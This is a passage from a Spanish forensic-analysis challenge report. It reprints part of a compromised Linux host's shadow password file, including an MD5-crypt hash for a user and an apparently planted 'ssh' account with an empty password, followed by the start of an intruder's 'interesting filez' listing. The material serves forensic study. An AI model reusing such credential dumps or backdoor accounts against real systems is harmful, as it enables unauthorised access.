sync:*:11920:0:99999:7::: shutdown:*:11920:0:99999:7:::

Page 48: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 46

halt:*:11920:0:99999:7::: mail:*:11920:0:99999:7::: news:*:11920:0:99999:7::: uucp:*:11920:0:99999:7::: operator:*:11920:0:99999:7::: games:*:11920:0:99999:7::: gopher:*:11920:0:99999:7::: ftp:*:11920:0:99999:7::: nobody:*:11920:0:99999:7::: nscd:!!:11920:0:99999:7::: apache:!!:11920:0:99999:7::: named:!!:11920:0:99999:7::: ldap:!!:11920:0:99999:7::: mailnull:!!:11920:0:99999:7::: ident:!!:11920:0:99999:7::: rpc:!!:11920:0:99999:7::: rpcuser:!!:11920:0:99999:7::: xfs:!!:11920:0:99999:7::: pepelu:$1$VgtMfaOO$rYz2Rf4fP2iqMApUIoW0l0:11920:0:99999:7::: ssh::11895:0:99999:7::: ----------------------------------------------------------------- interesting filez: /usr/share/doc/ncurses-devel-5.2/hackguide.html /usr/share/man/man1/perlhack.1.gz /usr/sha